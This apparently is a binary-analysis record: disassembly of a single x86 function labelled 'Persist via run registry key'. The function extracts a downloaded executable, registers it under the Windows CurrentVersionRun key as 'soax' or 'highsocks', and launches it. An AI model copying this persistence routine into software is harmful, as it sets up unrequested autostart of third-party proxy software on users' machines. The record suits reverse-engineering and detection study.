Function at 0x5aaeab
Capabilities:
Persist via run registry key

Disassembly:
push 0x154
mov eax, 0x653bea
call fcn.00627f1d
mov esi, ecx
lea eax, [ebp - 0xd0]
push eax
call fcn.005aa9d4
push dword [esi + 0x94]
lea eax, [ebp - 0x88]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.005a9c56
push dword [esi + 0x94]
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 1
push eax
call fcn.005a9c89
add esp, 0x10
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 2
push eax
mov ecx, esi
call fcn.005aacba
lea eax, [esi + 4]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.005aa1d6
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 4
push eax
call fcn.005b6999
add esp, 0x10
test al, al
jne 0x5aaf5c
push str.downloaded_arch_not_found
lea ecx, [ebp - 0x40]
mov byte [esi + 0x7a], 1
call fcn.00449370
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 5
push eax
mov ecx, esi
call fcn.005a8003
mov byte [ebp - 4], 6
jmp 0x5aafb2
cmp dword [ebp - 0x48], 0
jne 0x5aaf88
push str.no_setting:_dest_exe
lea ecx, [ebp - 0x40]
mov byte [esi + 0x7a], 1
call fcn.00449370
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 7
push eax
mov ecx, esi
call fcn.005a8003
mov byte [ebp - 4], 8
jmp 0x5aafb2
cmp dword [ebp - 0x78], 0
jne 0x5aafd3
push str.no_setting:_dest_dir
lea ecx, [ebp - 0x40]
mov byte [esi + 0x7a], 1
call fcn.00449370
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 9
push eax
mov ecx, esi
call fcn.005a8003
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.005c1d63
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
call fcn.00449320
lea ecx, [ebp - 0x40]
call fcn.00449320
jmp 0x5ab27f
lea ecx, [ebp - 0x160]
call fcn.005a18f8
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0xb
push eax
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x160]
call fcn.005a4c75
jmp 0x5ab005
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x140], 0
jne 0x5aaffd
cmp byte [ebp - 0x13f], 0
je 0x5ab03e
lea eax, [ebp - 0x28]
mov byte [esi + 0x7a], 1
push eax
mov ecx, esi
call fcn.005a8003
push eax
lea eax, [ebp - 0x13c]
mov byte [ebp - 4], 0xc
push eax
call fcn.005c1d63
pop ecx
pop ecx
jmp 0x5ab268
lea eax, [ebp - 0x58]
push eax
call fcn.005b6999
pop ecx
test al, al
jne 0x5ab08c
push str.no_dest_exe_after_extract
lea ecx, [ebp - 0x40]
mov byte [esi + 0x7a], 1
call fcn.00449370
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0xd
push eax
mov ecx, esi
call fcn.005a8003
push eax
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0xe
push eax
call fcn.005c1d63
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
call fcn.00449320
lea ecx, [ebp - 0x40]
jmp 0x5ab26b
cmp byte [esi + 0x1c], 0
je 0x5ab133
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.005a8003
push str.soax
mov ecx, eax
call fcn.005a58fd
lea ecx, [ebp - 0x28]
mov bl, al
call fcn.00449320
lea ecx, [ebp - 0x28]
test bl, bl
je 0x5ab0ea
push str.highsocks
call fcn.00449370
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xf
call fcn.00449370
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x40]
jmp 0x5ab10f
push str.SoftwareMicrosoftWindowsCurrentVersionRun
call fcn.00449370
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x11
push eax
mov ecx, esi
call fcn.005a8003
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x12
push ecx
push eax
lea eax, [ebp - 0x28]
push eax
push reloc.WS2_32.dll_accept
call fcn.005b863a
add esp, 0x10
lea ecx, [ebp - 0x40]
call fcn.00449320
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.00449320
xor ebx, ebx
cmp byte [esi + 0x1d], 0
je 0x5ab16e
lea eax, [ebp - 0x58]
push eax
call fcn.005bb88e
pop ecx
test al, al
jne 0x5ab16e
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.005a8003
push eax
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x13
push eax
call fcn.005baec2
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.00449320
mov ecx, esi
call fcn.005abcf2
test al, al
je 0x5ab213
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xb8]
push 0x6d60b8
push eax
call fcn.005a0eb7
push 0x65cdd0
push eax
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x14
push eax
call fcn.005a0e4e
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x15
push ecx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.005a0e25
add esp, 0x24
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x16
push ecx
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.005a5a1a
mov ecx, eax
call fcn.005a5e22
neg al
lea ecx, [ebp - 0x28]
sbb al, al
inc al
mov byte [esi + 0x7a], al
call fcn.00449320
lea ecx, [ebp - 0x40]
call fcn.00449320
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0xb
call fcn.00449320
mov al, byte [esi + 0x7a]
test al, al
je 0x5ab272
call fcn.005d3de4
push dword [eax + 0x4c]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.005b8abc
test eax, eax
pop ecx
sete al
mov byte [esi + 0x7a], al
pop ecx
test al, al
je 0x5ab272
push str.cant_launch_extracted_exe
lea ecx, [ebp - 0x28]
call fcn.00449370
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x17
push eax
mov ecx, esi
call fcn.005a8003
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0x18
push eax
call fcn.005c1d63
pop ecx
pop ecx
lea ecx, [ebp - 0xb8]
call fcn.00449320
lea ecx, [ebp - 0x28]
call fcn.00449320
jmp 0x5ab274
mov bl, 1
lea ecx, [ebp - 0x160]
call fcn.005a1d6e
lea ecx, [ebp - 0xa0]
call fcn.00449320
lea ecx, [ebp - 0x70]
call fcn.00449320
lea ecx, [ebp - 0x58]
call fcn.00449320
lea ecx, [ebp - 0x88]
call fcn.00449320
lea ecx, [ebp - 0xd0]
call fcn.00449320
mov al, bl
call fcn.00627ecc
ret